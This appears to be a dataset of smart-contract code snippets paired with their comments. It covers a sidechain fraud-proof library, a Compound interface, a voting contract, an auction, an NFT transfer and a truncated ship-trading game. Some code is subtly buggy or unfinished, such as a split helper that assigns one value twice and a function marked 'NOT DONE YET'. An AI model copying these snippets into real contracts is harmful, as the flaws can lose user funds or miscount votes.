- amount [32 bytes] -- uint256
- owner [32 bytes] -- padded address or witness reference index uint8
- tokenID [32 bytes] -- padded uint32
- [HTLC Data]:
- digest [32 bytes] -- bytes32 (or zero pad 32 bytes)
- expiry [32 bytes] -- padded uint32 (or zero pad 32 bytes)
- return witness index [32 bytes] -- padded uint8] (or zero pad 32 bytes)
*/
// Assert computed utxo id correct
assertOrInvalidProof(eq(providedUTXOID, constructUTXOID(utxoProof)),
ErrorCode_TransactionUTXOIDInvalid)
// Compute output amount
let outputType := load32(utxoProof, 2)
// Assert output type is correct
assertOrFraud(eq(requestedOutputType, outputType),
FraudCode_TransactionUTXOType)
// Assert index correctness
assertOrFraud(lt(load32(utxoProof, 1), TransactionLengthMax),
FraudCode_TransactionUTXOOutputIndexOverflow)
// Compute output amount
outputAmount := load32(utxoProof, 3)
// Compute output amount
outputOwner := load32(utxoProof, 4)
// Compute output amount
tokenID := load32(utxoProof, 5)
}
//
// CONSTRUCTION METHODS
// For the construction of cryptographic side-chain hashes
//
// produce block hash from block header
function constructBlockHash(blockHeader) -> blockHash {
/*
- Block Header:
- blockProducer [32 bytes] -- padded address
- previousBlockHash [32 bytes]
- blockHeight [32 bytes]
- ethereumBlockNumber [32 bytes]
- transactionRoots [64 + bytes32 array]
*/
// Select Transaction root Length
let transactionRootsLength := load32(blockHeader, 5)
// Construct Block Hash
blockHash := keccak256(blockHeader, mul32(safeAdd(6, transactionRootsLength)))
}
// produce a transaction hash id from a proof (subtract metadata and inputs length from hash data)
function constructTransactionHashID(transactionData) -> transactionHashID {
/*
- Transaction Data:
- inputSelector [32 bytes]
- outputSelector [32 bytes]
- witnessSelector [32 bytes]
- transactionIndex [32 bytes]
- transactionLeafData [dynamic bytes]
- Transaction Leaf Data:
- transactionByteLength [2 bytes] (max 2048)
- metadata length [1 bytes] (min 1 - max 8)
- input metadata [dynamic -- 8 bytes per]:
- blockHeight [4 bytes]
- transactionRootIndex [1 byte]
- transactionIndex [2 bytes]
- output index [1 byte]
- witnessLength [1 bytes]
- witnesses [dynamic]:
- signature [65 bytes]
*/
// Get entire tx length, and metadata sizes / positions
let transactionLength := selectTransactionLength(transactionData) // length is first 2
if gt(transactionLength, 0) {
let transactionLeaf, metadataSize,
witnessesSize, witnessLength := selectAndVerifyTransactionLeafData(transactionData)
// setup hash keccak256(start, length)
let transactionHashDataLength := safeSub(safeSub(transactionLength, TransactionLengthSize),
safeAdd(metadataSize, witnessesSize))
// create transaction ID
transactionHashID := keccak256(transactionLeaf, transactionHashDataLength)
}
}
// Construct Deposit Hash ID
function constructDepositHashID(depositProof) -> depositHashID {
depositHashID := keccak256(depositProof, mul32(3))
}
// Construct a UTXO Proof from a Transaction Output
function constructUTXOProof(transactionHashID, outputIndex, output) -> utxoProof {
let isChangeOutput := False
// Output Change
if eq(selectOutputType(output), OutputType_Change) {
isChangeOutput := True
}
// Select and Verify output
let length, amount, owner, tokenID := selectAndVerifyOutput(output, isChangeOutput)
// Encode Pack Transaction Output Data
mstore(mul32(1), transactionHashID)
mstore(mul32(2), outputIndex)
mstore(mul32(3), selectOutputType(output))
mstore(mul32(4), amount)
mstore(mul32(5), owner) // address or witness index
mstore(mul32(6), tokenID)
mstore(mul32(7), 0)
mstore(mul32(8), 0)
mstore(mul32(9), 0)
// Include HTLC Data here
if eq(selectOutputType(output), 2) {
let unused0, unused1, unused2,
unused3, digest, expiry, returnWitness := selectAndVerifyOutputHTLC(output,
TransactionLengthMax)
mstore(mul32(7), digest)
mstore(mul32(8), expiry)
mstore(mul32(9), returnWitness)
}
// Return UTXO Memory Position
utxoProof := mul32(1)
}
// Construct a UTXO ID
function constructUTXOID(utxoProof) -> utxoID {
/*
- Transaction UTXO Data:
- transactionHashId [32 bytes]
- outputIndex [32 bytes] -- padded uint8
- type [32 bytes] -- padded uint8
- amount [32 bytes]
- owner [32 bytes] -- padded address or unit8
- tokenID [32 bytes] -- padded uint32
- [HTLC Data]: -- padded with zeros
- digest [32 bytes]
- expiry [32 bytes] -- padded 4 bytes
- return witness index [32 bytes] -- padded 1 bytes
*/
// Construct UTXO ID
utxoID := keccak256(utxoProof, UTXOProofSize)
}
// Construct the Transaction Leaf Hash
function constructTransactionLeafHash(transactionData) -> transactionLeafHash {
/*
- Transaction Data:
- inputSelector [32 bytes]
- outputSelector [32 bytes]
- witnessSelector [32 bytes]
- transactionIndex [32 bytes]
- transactionLeafData [dynamic bytes]
*/
// Get first two transaction length bytes
let transactionLength := selectTransactionLength(transactionData)
// Check if length is Zero, than don't hash!
switch eq(transactionLength, 0)
// Return Zero leaf hash
case 1 {
transactionLeafHash := 0
}
// Hash as Normal Transaction
default {
// Start Hash Past Selections (3) and Index (1)
let hashStart := selectTransactionLeaf(transactionData)
// Return the transaction leaf hash
transactionLeafHash := keccak256(hashStart, transactionLength)
}
}
// Select input index
function selectInputSelectionIndex(transactionData) -> inputIndex {
inputIndex := load32(transactionData, 0)
}
// Select output index
function selectOutputSelectionIndex(transactionData) -> outputIndex {
outputIndex := load32(transactionData, 1)
}
// Select witness index
function selectWitnessSelectionIndex(transactionData) -> witnessIndex {
witnessIndex := load32(transactionData, 2)
}
// This function Must Select Block of Current Proof Being Validated!! NOT DONE YET!
// Assert True or Fraud, Set Side-chain to Valid block and Stop Execution
function assertOrFraud(assertion, fraudCode) {
// Assert or Begin Fraud State Change Sequence
if lt(assertion, 1) {
// proof index
let proofIndex := 0
// We are validating proof 2
if gt(mstack(Stack_ProofNumber), 0) {
proofIndex := 1
}
// Fraud block details
let fraudBlockHeight := selectBlockHeight(selectBlockHeader(proofIndex))
let fraudBlockProducer := selectBlockProducer(selectBlockHeader(proofIndex))
let ethereumBlockNumber := selectEthereumBlockNumber(selectBlockHeader(proofIndex))
// Assert Fraud block cannot be the genesis block
assertOrInvalidProof(gt(fraudBlockHeight, GenesisBlockHeight),
ErrorCode_FraudBlockHeightUnderflow)
// Assert fraud block cannot be finalized
assertOrInvalidProof(lt(number(), safeAdd(ethereumBlockNumber, FINALIZATION_DELAY)),
ErrorCode_FraudBlockFinalized)
// Push old block tip
let previousBlockTip := getBlockTip()
// Set new block tip to before fraud block
setBlockTip(safeSub(fraudBlockHeight, 1))
// Release Block Producer, If it's Permissioned
// (i.e. block producer committed fraud so get them out!)
// if eq(fraudBlockProducer, getBlockProducer()) {
// setBlockProducer(0)
// }
// Log block tips (old / new)
log4(0, 0, FraudEventTopic, previousBlockTip, getBlockTip(),
fraudCode)
// Transfer Half The Bond for this Block
transfer(div(BOND_SIZE, 2), EtherToken, EtherToken, caller())
// stop execution from here
stop()
}
}
// Construct withdrawal Hash ID
function constructWithdrawalHashID(transactionRootIndex,
transactionLeafHash, outputIndex) -> withdrawalHashID {
// Construct withdrawal Hash
mstore(mul32(1), transactionRootIndex)
mstore(mul32(2), transactionLeafHash)
mstore(mul32(3), outputIndex)
// Hash Leaf and Output Together
withdrawalHashID := keccak256(mul32(1), mul32(3))
}
// Construct Transactions Merkle Tree Root
function constructMerkleTreeRoot(transactions, transactionsLength) -> merkleTreeRoot {
// Start Memory Position at Transactions Data
let memoryPosition := transactions
let nodesLength := 0
let netLength := 0
let freshMemoryPosition := mstack(Stack_FreshMemory)
// create base hashes and notate node count
for { let transactionIndex := 0 }
lt(transactionIndex, MaxTransactionsInBlock)
{ transactionIndex := safeAdd(transactionIndex, 1) } {
// get the transaction length
let transactionLength := slice(memoryPosition, TransactionLengthSize)
// If Transaction length is zero and we are past first tx, stop (we are at the end)
if and(gt(transactionIndex, 0), iszero(transactionLength)) { break }
// if transaction length is below minimum transaction length, stop
verifyTransactionLength(transactionLength)
// add net length together
netLength := safeAdd(netLength, transactionLength)
// computed length greater than provided payload
assertOrFraud(lte(netLength, transactionsLength),
FraudCode_InvalidTransactionsNetLength)
// store the base leaf hash (add 2 removed from here..)
mstore(freshMemoryPosition, keccak256(memoryPosition, transactionLength))
// increase the memory length
memoryPosition := safeAdd(memoryPosition, transactionLength)
// increase fresh memory by 32 bytes
freshMemoryPosition := safeAdd(freshMemoryPosition, 32)
// increase number of nodes
nodesLength := safeAdd(nodesLength, 1)
}
// computed length greater than provided payload
assertOrFraud(eq(netLength, transactionsLength), FraudCode_InvalidTransactionsNetLength)
// Merkleize nodes into a binary merkle tree
memoryPosition := safeSub(freshMemoryPosition, safeMul(nodesLength, 32)) // setup new memory position
// Create Binary Merkle Tree / Master Root Hash
for {} gt(nodesLength, 0) {} { // loop through tree Heights (starting at base)
if gt(mod(nodesLength, 2), 0) { // fix uneven leaf count (i.e. add a zero hash)
mstore(safeAdd(memoryPosition, safeMul(nodesLength, 32)), 0) // add 0x00...000 hash leaf
nodesLength := safeAdd(nodesLength, 1) // increase count for zero hash leaf
freshMemoryPosition := safeAdd(freshMemoryPosition, 32) // increase fresh memory past new leaf
}
for { let i := 0 } lt(i, nodesLength) { i := safeAdd(i, 2) } { // loop through Leaf hashes at this height
mstore(freshMemoryPosition, keccak256(safeAdd(memoryPosition, safeMul(i, 32)), 64)) // hash two leafs together
freshMemoryPosition := safeAdd(freshMemoryPosition, 32) // increase fresh memory past new hash leaf
}
memoryPosition := safeSub(freshMemoryPosition, safeMul(nodesLength, 16)) // set new memory position
nodesLength := div(nodesLength, 2) // half nodes (i.e. next height)
// shim 1 to zero (stop), i.e. top height end..
if lt(nodesLength, 2) { nodesLength := 0 }
}
// merkle root has been produced
merkleTreeRoot := mload(memoryPosition)
// write new fresh memory position
mpush(Stack_FreshMemory, safeAdd(freshMemoryPosition, mul32(2)))
}
// Construct HTLC Digest Hash
function constructHTLCDigest(preImage) -> digest {
// Store PreImage in Memory
mstore(mul32(1), preImage)
// Construct Digest Hash
digest := keccak256(mul32(1), mul32(1))
}
//
// LOW LEVEL METHODS
//
// Safe Math Add
function safeAdd(x, y) -> z {
z := add(x, y)
assertOrInvalidProof(or(eq(z, x), gt(z, x)), ErrorCode_SafeMathAdditionOverflow) // require((z = x + y) >= x, "ds-math-add-overflow");
}
// Safe Math Subtract
function safeSub(x, y) -> z {
z := sub(x, y)
assertOrInvalidProof(or(eq(z, x), lt(z, x)), ErrorCode_SafeMathSubtractionUnderflow) // require((z = x - y) <= x, "ds-math-sub-underflow");
}
// Safe Math Multiply
function safeMul(x, y) -> z {
if gt(y, 0) {
z := mul(x, y)
assertOrInvalidProof(eq(div(z, y), x), ErrorCode_SafeMathMultiplyOverflow) // require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
// Safe Math Add3, Add4 Shorthand
function add3(x, y, z) -> result {
result := safeAdd(x, safeAdd(y, z))
}
function add4(x, y, z, k) -> result {
result := safeAdd(x, safeAdd(y, safeAdd(z, k)))
}
// Common <= and >=
function lte(v1, v2) -> result {
result := or(lt(v1, v2), eq(v1, v2))
}
function gte(v1, v2) -> result {
result := or(gt(v1, v2), eq(v1, v2))
}
// Safe Multiply by 32
function mul32(length) -> result {
result := safeMul(32, length)
}
// function combine 3 unit32 values together into one 32 byte combined value
function combineUint32(val1, val2, val3, val4) -> combinedValue {
mstore(safeAdd(mul32(2), 8), val4) // 2 bytes
mstore(safeAdd(mul32(2), 6), val3) // 2 bytes
mstore(safeAdd(mul32(2), 4), val2) // 2 bytes
mstore(safeAdd(mul32(2), 2), val1) // 2 bytes
// Grab combined value
combinedValue := mload(mul32(3))
}
// split a combined value into three original chunks
function splitCombinedUint32(combinedValue) -> val1, val2, val3, val4 {
mstore(mul32(2), combinedValue)
// grab values
val1 := slice(safeAdd(mul32(2), 0), 2) // 2 byte slice
val2 := slice(safeAdd(mul32(2), 2), 2) // 2 byte slice
val3 := slice(safeAdd(mul32(2), 4), 2) // 2 byte slice
val3 := slice(safeAdd(mul32(2), 6), 2) // 2 byte slice
}
// Transfer method helper
function transfer(amount, tokenID, token, owner) {
// Assert value owner / amount
assertOrInvalidProof(gt(amount, 0), ErrorCode_TransferAmountUnderflow)
assertOrInvalidProof(gt(owner, 0), ErrorCode_TransferOwnerInvalid)
// Assert valid token ID
assertOrInvalidProof(lt(tokenID, getNumTokens()), ErrorCode_TransferTokenIDOverflow)
// Assert address is properly registered token
assertOrInvalidProof(eq(tokenID, getTokens(token)), ErrorCode_TransferTokenAddress)
// Ether Token
if eq(token, EtherToken) {
let result := call(owner, 21000, amount, 0, 0, 0, 0)
assertOrInvalidProof(result, ErrorCode_TransferEtherCallResult)
}
// ERC20 "a9059cbb": "transfer(address,uint256)",
if gt(token, 0) {
// Construct ERC20 Transfer
mstore(mul32(1), 0xa9059cbb)
mstore(mul32(2), owner)
mstore(mul32(3), amount)
// Input Details
let inputStart := safeAdd(mul32(1), 28)
let inputLength := 68
// ERC20 Call
let result := call(token, 400000, 0, inputStart, inputLength, 0, 0)
assertOrInvalidProof(result, ErrorCode_TransferERC20Result)
}
}
// Virtual Memory Stack Push (for an additional 32 stack positions)
function mpush(pos, val) { // Memory Push
mstore(add(Stack_MemoryPosition, mul32(pos)), val)
}
// Virtual Memory Stack Get
function mstack(pos) -> result { // Memory Stack
result := mload(add(Stack_MemoryPosition, mul32(pos)))
}
// Virtual Stack Pop
function mpop(pos) { // Memory Pop
mstore(add(Stack_MemoryPosition, mul32(pos)), 0)
}
// Memory Slice (within a 32 byte chunk)
function slice(position, length) -> result {
if gt(length, 32) { revert(0, 0) } // protect against overflow
result := div(mload(position), exp(2, safeSub(256, safeMul(length, 8))))
}
// Solidity Storage Key: mapping(bytes32 => bytes32)
function mappingStorageKey(key, storageIndex) -> storageKey {
mstore(32, key)
mstore(64, storageIndex)
storageKey := keccak256(32, 64)
}
// Solidity Storage Key: mapping(bytes32 => mapping(bytes32 => bytes32)
function mappingStorageKey2(key, key2, storageIndex) -> storageKey {
mstore(32, key)
mstore(64, storageIndex)
mstore(96, key2)
mstore(128, keccak256(32, 64))
storageKey := keccak256(96, 64)
}
// load a 32 byte chunk with a 32 byte offset chunk from position
function load32(memoryPosition, chunkOffset) -> result {
result := mload(add(memoryPosition, safeMul(32, chunkOffset)))
}
// Assert True or Invalid Proof
function assertOrInvalidProof(arg, errorCode) {
if lt(arg, 1) {
// Set Error Code In memory
mstore(mul32(1), errorCode)
// Revert and Return Error Code
revert(mul32(1), mul32(1))
// Just incase we add a stop
stop()
}
}
// ECRecover Helper: hashPosition (32 bytes), signaturePosition (65 bytes) tight packing VRS
function ecrecoverPacked(digestHash, signatureMemoryPosition) -> account {
mstore(32, digestHash) // load in hash
mstore(64, 0) // zero pas
mstore(95, mload(signatureMemoryPosition))
mstore(96, mload(safeAdd(signatureMemoryPosition, 1)))
mstore(128, mload(safeAdd(signatureMemoryPosition, 33)))
let result := call(3000, 1, 0, 32, 128, 128, 32) // 4 chunks, return at 128
if eq(result, 0) { revert(0, 0) }
account := mload(128) // set account
}
//
// SETTERS & GETTER METHODS
// Solidity setters and getters for side-chain state storage
//
// GET mapping(bytes32 => uint256) public deposits; // STORAGE 0
function getDeposits(depositHashId) -> result {
result := sload(mappingStorageKey(depositHashId, Storage_deposits))
}
// GET mapping(uint256 => mapping(bytes32 => bool)) publica withdrawals; // STORAGE 1
function getWithdrawals(blockHeight, withdrawalHashID) -> result {
result := sload(mappingStorageKey2(blockHeight, withdrawalHashID, Storage_withdrawals))
}
// SET mapping(uint256 => mapping(bytes32 => bool)) publica withdrawals; // STORAGE 1
function setWithdrawals(blockHeight, withdrawalHashID, hasWithdrawn) {
sstore(mappingStorageKey2(blockHeight, withdrawalHashID, Storage_withdrawals), hasWithdrawn)
}
// GET mapping(bytes32 => uint256) public blockTransactionRoots; // STORAGE 2
function getBlockTransactionRoots(transactionRoot) -> result {
result := sload(mappingStorageKey(transactionRoot, Storage_blockTransactionRoots))
}
// GET mapping(uint256 => bytes32) public blockCommitments; // STORAGE 3
function getBlockCommitments(blockHeight) -> result {
result := sload(mappingStorageKey(blockHeight, Storage_blockCommitments))
}
// GET mapping(address => uint256) public tokens; // STORAGE 4
function getTokens(tokenAddress) -> result {
result := sload(mappingStorageKey(tokenAddress, Storage_tokens))
// Ether token should always be zero
if eq(tokenAddress, 0) {
assertOrInvalidProof(eq(result, 0), ErrorCode_InvalidTokenAddress)
}
// ERC20 should always be above zero
if gt(tokenAddress, 0) {
assertOrInvalidProof(gt(result, 0), ErrorCode_InvalidTokenAddress)
}
}
// GET uint256 public numTokens; // STORAGE 5
function getNumTokens() -> result {
result := sload(Storage_numTokens)
}
// SET uint256 public blockTip; // STORAGE 6
function getBlockTip() -> result {
result := sload(Storage_blockTip)
}
// SET blockTip() // STORAGE 6
function setBlockTip(tip) {
sstore(Storage_blockTip, tip)
}
// GET address public blockProducer; // STORAGE 7
function getBlockProducer() -> result {
result := sload(Storage_blockProducer)
}
// SET address public blockProducer // STORAGE 7
function setBlockProducer(producer) {
sstore(Storage_blockProducer, producer)
}
}
}
}
|
Select Root Producer
|
function selectRootProducer(transactionRoot) -> rootProducer {
rootProducer := load32(transactionRoot, 0)
}
| 12,672,898
|
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// SPDX-License-Identifier: Unlicense
// ICompound.sol
// This is free and unencumbered software released into the public domain.
// Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means.
// In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// For more information, please refer to <https://unlicense.org/>
pragma solidity ^0.8.10;
pragma abicoder v2;
import "../../../IERC20.sol";
interface ICompoundPriceOracle {
function getUnderlyingPrice(IcERC20 cToken) external view returns (uint);
}
interface IComptroller {
// adding usefull public getters
function oracle() external returns (ICompoundPriceOracle priceFeed);
function markets(address cToken)
external
view
returns (
bool isListed,
uint collateralFactorMantissa,
bool isComped
);
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens)
external
returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
function getAccountLiquidity(address user)
external
view
returns (
uint errorCode,
uint liquidity,
uint shortfall
);
function claimComp(address holder) external;
function checkMembership(address account, IcERC20 cToken)
external
view
returns (bool);
}
interface IcERC20 is IERC20 {
// from https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol
function redeem(uint redeemTokens) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
// for non cETH only
function repayBorrow(uint repayAmount) external returns (uint);
// for cETH only
function repayBorrow() external payable;
// for non cETH only
function repayBorrowBehalf(address borrower, uint repayAmount)
external
returns (uint);
// for cETH only
function repayBorrowBehalf(address borrower) external payable;
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account)
external
view
returns (
uint,
uint,
uint,
uint
);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function exchangeRateCurrent() external returns (uint);
function exchangeRateStored() external view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() external returns (uint);
function seize(
address liquidator,
address borrower,
uint seizeTokens
) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function mint(uint mintAmount) external returns (uint);
// only in cETH
function mint() external payable;
// non cETH only
function underlying() external view returns (address); // access to public variable containing the address of the underlying ERC20
function isCToken() external view returns (bool); // public constant froim CTokenInterfaces.sol
}
|
from https:github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol for non cETH only for cETH only for non cETH only for cETH only only in cETH non cETH only
|
interface IcERC20 is IERC20 {
function redeem(uint redeemTokens) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower, uint repayAmount)
external
returns (uint);
function repayBorrowBehalf(address borrower) external payable;
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account)
external
view
returns (
uint,
uint,
uint,
uint
);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function exchangeRateCurrent() external returns (uint);
function exchangeRateStored() external view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() external returns (uint);
function seize(
address liquidator,
address borrower,
uint seizeTokens
) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function mint(uint mintAmount) external returns (uint);
function mint() external payable;
}
}
| 7,292,194
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Ownable.sol';
contract eVote is Ownable{
mapping (address => bool) public isVotedMapping;
uint participantCount;
modifier onlyAllowed() {
require(!isVotedMapping[msg.sender], "You already voted!");
_;
}
mapping (string => uint) participantMapping;
// function to add participants - only owner can add.
function addParticipant(string memory _name) public onlyOwner{
participantMapping[_name] = 0;
participantCount += 1;
}
function getOwnerAdd() view public returns(address){
return getOwner();
}
// function to cast vote - one add one vote
function castVote(string memory _name) public onlyAllowed{
participantMapping[_name] += 1;
isVotedMapping[msg.sender] = true;
}
// get total vote count of the given participants;
function getVoteCount(string memory _name) public view returns(uint){
return participantMapping[_name];
}
}
|
function to cast vote - one add one vote
|
function castVote(string memory _name) public onlyAllowed{
participantMapping[_name] += 1;
isVotedMapping[msg.sender] = true;
}
| 12,969,308
|
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./full_match/44787/0x0e7B5EeaC601d73394fbf39EF00fF8F3FBa12495/sources/Contracts/AuctionSPU.sol
|
@notice End the auction @dev Once ended only no more bids are allowed , no transfers are done yet
|
function endAuction() external onlyOwner auctionStarted {
require(block.timestamp >= endAt, "Not Ended");
require(!ended, "Already Ended");
ended = true;
emit EndAuction(highestBidder, highestBid);
}
| 13,241,388
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./partial_match/3/0xD4Bcc3f1C483Ea10fDb97523357CA660E6B3c71E/sources/KittyContract.sol
|
@notice Transfers the ownership of an NFT from one address to another address @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. @param _from The current owner of the NFT @param _to The new owner @param _tokenId The NFT to transfer @param _data Additional data with no specified format, sent in call to `_to`
|
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
) external onlyApproved(_tokenId) notZeroAddress(_to) {
require(_from == _ownerOf(_tokenId), "from address not kitty owner");
_safeTransfer(_from, _to, _tokenId, _data);
}
| 5,083,839
|
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] |
pragma solidity ^0.4.0;
/*
# # ( )
___#_#___|__
_ |____________| _
_=====| | | | | |==== _
=====| |.---------------------------. | |====
<--------------------' . . . . . . . . '--------------/
\ /
\___________________________________________________________/
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
*/
contract EtherShipsCore {
struct ShipProduct {
string name; // Ship's name
uint32 armor; // Armor value
uint32 speed; // Speed value
uint32 minDamage; // Ship's minimal damage value
uint32 maxDamage; // Ship's maximum damage value
uint32 attackSpeed; // Ship's attack speed value
uint8 league; // The battle league which allows to play with this ship type
// Unfortunately, it's impossible to define the variable inside the struct as constant.
// However, you can read this smart-contract and see that there are no changes at all related to the start prices.
uint256 startPrice;
uint256 currentPrice; // The current price. Changes every time someone buys this kind of ship
uint256 earning; // The amount of earning each owner of this ship gets when someone buys this type of ship
uint256 releaseTime; // The moment when it will be allowed to buy this type of ship
uint32 amountOfShips; // The amount of ships with this kind of product
}
struct ShipEntity {
uint32 productID;
uint8[4] upgrades;
address owner; // The address of the owner of this ship
address earner; // The address of the earner of this ship who get paid
bool selling; // Is this ship on the auction now?
uint256 auctionEntity; // If it's on the auction,
uint256 earned; // Total funds earned with this ship
uint32 exp; // ship's experience
uint32 lastCashoutIndex; // Last amount of ships existing in the game with the same ProductID
}
struct AuctionEntity {
uint32 shipID;
uint256 startPrice;
uint256 finishPrice;
uint256 startTime;
uint256 duration;
}
event EventCashOut (
address indexed player,
uint256 amount
); //;-)
event EventLogin (
address indexed player,
string hash
); //;-)
event EventUpgradeShip (
address indexed player,
uint32 shipID,
uint8 upgradeChoice
); // ;-)
event EventTransfer (
address indexed player,
address indexed receiver,
uint32 shipID
); // ;-)
event EventTransferAction (
address indexed player,
address indexed receiver,
uint32 shipID,
uint8 ActionType
); // ;-)
event EventAuction (
address indexed player,
uint32 shipID,
uint256 startPrice,
uint256 finishPrice,
uint256 duration,
uint256 currentTime
); // ;-)
event EventCancelAuction (
uint32 shipID
); // ;-)
event EventBid (
uint32 shipID
); // ;-)
event EventBuyShip (
address indexed player,
uint32 productID,
uint32 shipID
); // ;-)
address public UpgradeMaster; // Earns fees for upgrading ships (0.05 Eth)
address public AuctionMaster; // Earns fees for producing auctions (3%)
address public ShipSellMaster; // Earns fees for selling ships (start price)
function ChangeUpgradeMaster (address _newMaster) public {
require(msg.sender == UpgradeMaster);
UpgradeMaster = _newMaster;
}
function ChangeShipSellMaster (address _newMaster) public {
require(msg.sender == ShipSellMaster);
ShipSellMaster = _newMaster;
}
function ChangeAuctionMaster (address _newMaster) public {
require(msg.sender == AuctionMaster);
AuctionMaster = _newMaster;
}
function EtherShipsCore() public {
UpgradeMaster = msg.sender;
AuctionMaster = msg.sender;
ShipSellMaster = msg.sender;
// Creating ship types
//name, armor, speed, minDamage, maxDamage, attackSpeed, league, start price, earning, release time
newShipProduct("L-Raz", 50, 5, 5, 40, 5, 1, 50000000000000000, 500000000000000, now);
newShipProduct("L-Vip", 50, 4, 6, 35, 6, 1, 50000000000000000, 500000000000000, now+(60*60*3));
newShipProduct("L-Rapt", 50, 5, 5, 35, 5, 1, 50000000000000000, 500000000000000, now+(60*60*6));
newShipProduct("L-Slash", 50, 5, 5, 30, 6, 1, 50000000000000000, 500000000000000, now+(60*60*12));
newShipProduct("L-Stin", 50, 5, 5, 40, 5, 1, 50000000000000000, 500000000000000, now+(60*60*24));
newShipProduct("L-Scor", 50, 4, 5, 35, 5, 1, 50000000000000000, 500000000000000, now+(60*60*48));
newShipProduct("Sub-Sc", 60, 5, 45, 115, 4, 2, 100000000000000000, 1000000000000000, now);
newShipProduct("Sub-Cycl", 70, 4, 40, 115, 4, 2, 100000000000000000, 1000000000000000, now+(60*60*6));
newShipProduct("Sub-Deep", 80, 5, 45, 120, 4, 2, 100000000000000000, 1000000000000000, now+(60*60*12));
newShipProduct("Sub-Sp", 90, 4, 50, 120, 3, 2, 100000000000000000, 1000000000000000, now+(60*60*24));
newShipProduct("Sub-Ab", 100, 5, 55, 130, 3, 2, 100000000000000000, 1000000000000000, now+(60*60*48));
newShipProduct("M-Sp", 140, 4, 40, 120, 4, 3, 200000000000000000, 2000000000000000, now);
newShipProduct("M-Arma", 150, 4, 40, 115, 5, 3, 200000000000000000, 2000000000000000, now+(60*60*12));
newShipProduct("M-Penetr", 160, 4, 35, 120, 6, 3, 200000000000000000, 2000000000000000, now+(60*60*24));
newShipProduct("M-Slice", 170, 4, 45, 120, 3, 3, 200000000000000000, 2000000000000000, now+(60*60*36));
newShipProduct("M-Hell", 180, 3, 35, 120, 2, 3, 200000000000000000, 2000000000000000, now+(60*60*48));
newShipProduct("H-Haw", 210, 3, 65, 140, 3, 4, 400000000000000000, 4000000000000000, now);
newShipProduct("H-Fat", 220, 3, 75, 150, 2, 4, 400000000000000000, 4000000000000000, now+(60*60*24));
newShipProduct("H-Beh", 230, 2, 85, 160, 2, 4, 400000000000000000, 4000000000000000, now+(60*60*48));
newShipProduct("H-Mamm", 240, 2, 100, 170, 2, 4, 400000000000000000, 4000000000000000, now+(60*60*72));
newShipProduct("H-BigM", 250, 2, 120, 180, 3, 4, 400000000000000000, 4000000000000000, now+(60*60*96));
}
function cashOut (uint256 _amount) public payable {
require (_amount >= 0); //just in case
require (_amount == uint256(uint128(_amount))); // Just some magic stuff
require (this.balance >= _amount); // Checking if this contract has enought money to pay
require (balances[msg.sender] >= _amount); // Checking if player has enough funds on his balance
if (_amount == 0){
_amount = balances[msg.sender];
// If the requested amount is 0, it means that player wants to cashout the whole amount of balance
}
balances[msg.sender] -= _amount; // Changing the amount of funds on the player's in-game balance
if (!msg.sender.send(_amount)){ // Sending funds and if the transaction is failed
balances[msg.sender] += _amount; // Returning the amount of funds on the player's in-game balance
}
EventCashOut (msg.sender, _amount);
return;
}
function cashOutShip (uint32 _shipID) public payable {
require (_shipID > 0 && _shipID < newIdShip); // Checking if the ship exists
require (ships[_shipID].owner == msg.sender); // Checking if sender owns this ship
uint256 _amount = shipProducts[ships[_shipID].productID].earning*(shipProducts[ships[_shipID].productID].amountOfShips-ships[_shipID].lastCashoutIndex);
